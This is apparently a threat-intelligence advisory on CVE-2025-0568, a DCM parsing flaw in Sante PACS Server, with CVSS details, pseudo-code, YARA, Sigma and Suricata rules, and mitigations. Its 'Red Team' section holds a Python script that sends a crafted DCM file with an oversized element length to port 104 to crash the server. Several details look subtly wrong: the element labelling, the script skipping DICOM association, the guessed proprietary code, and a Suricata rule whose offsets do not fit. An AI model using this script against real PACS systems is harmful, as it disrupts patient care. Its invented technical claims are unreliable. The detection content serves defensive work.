CVE-2025-0568

Executive Summary

CVE-2025-0568 is a critical memory corruption vulnerability in Sante PACS Server, a DICOM-compliant medical imaging solution. The flaw resides in the parsing of DCM (DICOM) files, where insufficient validation of user-supplied data can lead to a memory corruption condition. An unauthenticated remote attacker can exploit this to cause a denial-of-service (DoS) condition, potentially disrupting medical imaging workflows and patient data availability. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched, with no known public exploit code or proof-of-concept. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the lack of a patch and the critical nature of PACS systems in healthcare environments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary medical software product (Sante PACS Server). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data disclosure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: High (A:H) – Total loss of availability (DoS).

Threat Level: High. While no public exploit exists, the unauthenticated remote nature and lack of patch make this a priority for healthcare organizations.

Deep Dive & Mechanics

The vulnerability is a classic memory corruption issue in the DCM file parser of Sante PACS Server. DCM files are standard DICOM medical images. The parser fails to properly validate the size or structure of data elements within the file, leading to a buffer overflow or similar memory corruption when processing a specially crafted DCM file.

Technical Details:

• Root Cause: Lack of bounds checking on user-supplied data during DCM file parsing.
• Trigger: Sending a malicious DCM file to the server (e.g., via DICOM C-STORE or other network service).
• Effect: Memory corruption can cause the server process to crash, resulting in a denial-of-service condition. In some cases, memory corruption might be leveraged for code execution, but the ZDI report only confirms DoS.
• Attack Vector: Remote, unauthenticated. The attacker sends a crafted DCM file over the network to the PACS server's listening service (typically port 104 or 11112 for DICOM).

Affected Component: Sante PACS Server DCM file parser. The exact version range is unknown, but all versions prior to any potential patch are likely vulnerable.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is proprietary and not publicly accessible. However, based on the CWE-787 (Out-of-bounds Write), the vulnerable code likely resembles:

// Vulnerable pseudo-code
void parse_dcm_element(uint8_t *data, uint32_t length) {
    uint16_t group, element;
    uint32_t value_length;
    uint8_t *value;

    group = (data[0] << 8) | data[1];
    element = (data[2] << 8) | data[3];
    value_length = (data[4] << 24) | (data[5] << 16) | (data[6] << 8) | data[7];
    // No validation of value_length against buffer size
    value = malloc(value_length);
    memcpy(value, data + 8, value_length); // Potential overflow if value_length > remaining data
}

A patched version would include bounds checking:

// Patched pseudo-code
void parse_dcm_element(uint8_t *data, uint32_t length) {
    uint16_t group, element;
    uint32_t value_length;
    uint8_t *value;

    if (length < 8) return; // Minimum header size
    group = (data[0] << 8) | data[1];
    element = (data[2] << 8) | data[3];
    value_length = (data[4] << 24) | (data[5] << 16) | (data[6] << 8) | data[7];
    if (value_length > length - 8) return; // Bounds check
    value = malloc(value_length);
    if (value) {
        memcpy(value, data + 8, value_length);
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Cause a denial-of-service on Sante PACS Server by sending a malicious DCM file.

Lab Setup:

1. Install Sante PACS Server (vulnerable version) on a Windows VM.
2. Ensure the DICOM service is running (default port 104).
3. Use a tool like netcat or a custom Python script to send a crafted DCM file.

Exploit Script (Python):

#!/usr/bin/env python3
import socket
import struct

# Craft a malicious DCM file with an oversized element length
def create_malicious_dcm():
    # DICOM preamble (128 bytes) + prefix "DICM"
    preamble = b'\x00' * 128 + b'DICM'
    # Create a data element with huge length
    group = 0x0008
    element = 0x0000  # Specific Character Set
    # Set value_length to a very large number to cause overflow
    value_length = 0xFFFFFFFF  # 4GB - will cause memory corruption
    # Minimal value data
    value = b'A' * 10
    # Build element
    element_data = struct.pack('<HH', group, element)
    element_data += struct.pack('<I', value_length)
    element_data += value
    return preamble + element_data

def exploit(target_ip, target_port=104):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    try:
        sock.connect((target_ip, target_port))
        malicious_dcm = create_malicious_dcm()
        sock.send(malicious_dcm)
        print("[+] Malicious DCM sent. Server may crash.")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Usage: Run the script against the target PACS server. The server may crash immediately or after processing the file.

Blue Team (Defensive)

Detection & Response:

• Monitor for unusual DICOM traffic, especially files with abnormally large element lengths.
• Use network intrusion detection systems (NIDS) to flag DICOM C-STORE requests with oversized payloads.
• Implement application-level input validation for DICOM files.
• Isolate PACS servers in a segmented network with strict access controls.

Hunting:

• Search logs for crashes or restarts of the Sante PACS Server service.
• Look for DICOM files with element lengths exceeding typical values (e.g., > 64KB for pixel data).

Indicators of Compromise (IOCs)

• Network IOCs:
  • DICOM C-STORE requests with element length fields set to 0xFFFFFFFF or other abnormally high values.
  • Repeated connection attempts to port 104 (or custom DICOM port) from unknown IPs.
• File IOCs:
  • DCM files with malformed headers, particularly oversized element length fields.
• System IOCs:
  • Unexpected crashes of santepacs.exe or related processes.
  • Memory dumps or error logs indicating buffer overflow in DCM parsing.

Detection Engineering

YARA Rule

rule CVE_2025_0568_Sante_PACS_DCM_Memory_Corruption {
    meta:
        description = "Detects malicious DCM files targeting CVE-2025-0568"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-0568"
    strings:
        $dicom_magic = "DICM" at 128
        $large_length = { FF FF FF FF } // 4-byte length field set to 0xFFFFFFFF
    condition:
        $dicom_magic and $large_length
}

Sigma Rule

title: Sante PACS Server DCM Parsing DoS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects network traffic attempting to exploit CVE-2025-0568 by sending DCM files with oversized element lengths.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-0568
logsource:
    category: network
    product: suricata
detection:
    selection:
        app_protocol: dicom
        dicom.command: C-STORE-RQ
        dicom.element_length: 4294967295  # 0xFFFFFFFF
    condition: selection
falsepositives:
    - Legitimate large DICOM files (rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 104 (msg:"CVE-2025-0568 Sante PACS DCM Memory Corruption Attempt"; flow:to_server,established; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 49 43 4d|"; content:"|FF FF FF FF|"; distance:0; within:4; classtype:attempted-dos; sid:1000001; rev:1;)

Note: The Suricata rule above uses a simplified pattern. In practice, the DICOM parser must be inspected for the exact offset of the element length field.

Remediation & Mitigation

Immediate Actions:

1. Isolate Sante PACS Server from untrusted networks. Use firewalls to restrict access to the DICOM port (104) to only trusted IPs.
2. Monitor for unusual DICOM traffic and server crashes.
3. Apply any vendor patches if they become available. Currently, no patch exists.
4. Consider using a DICOM firewall or application-layer gateway to validate DCM files before they reach the server.

Long-term:

• Migrate to a supported PACS solution with active security maintenance.
• Implement network segmentation and strict access controls for medical devices.
• Regularly review and update incident response plans for medical device vulnerabilities.

Workaround: If patching is not possible, disable the DICOM service if not needed, or use a reverse proxy that validates DICOM file structure.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert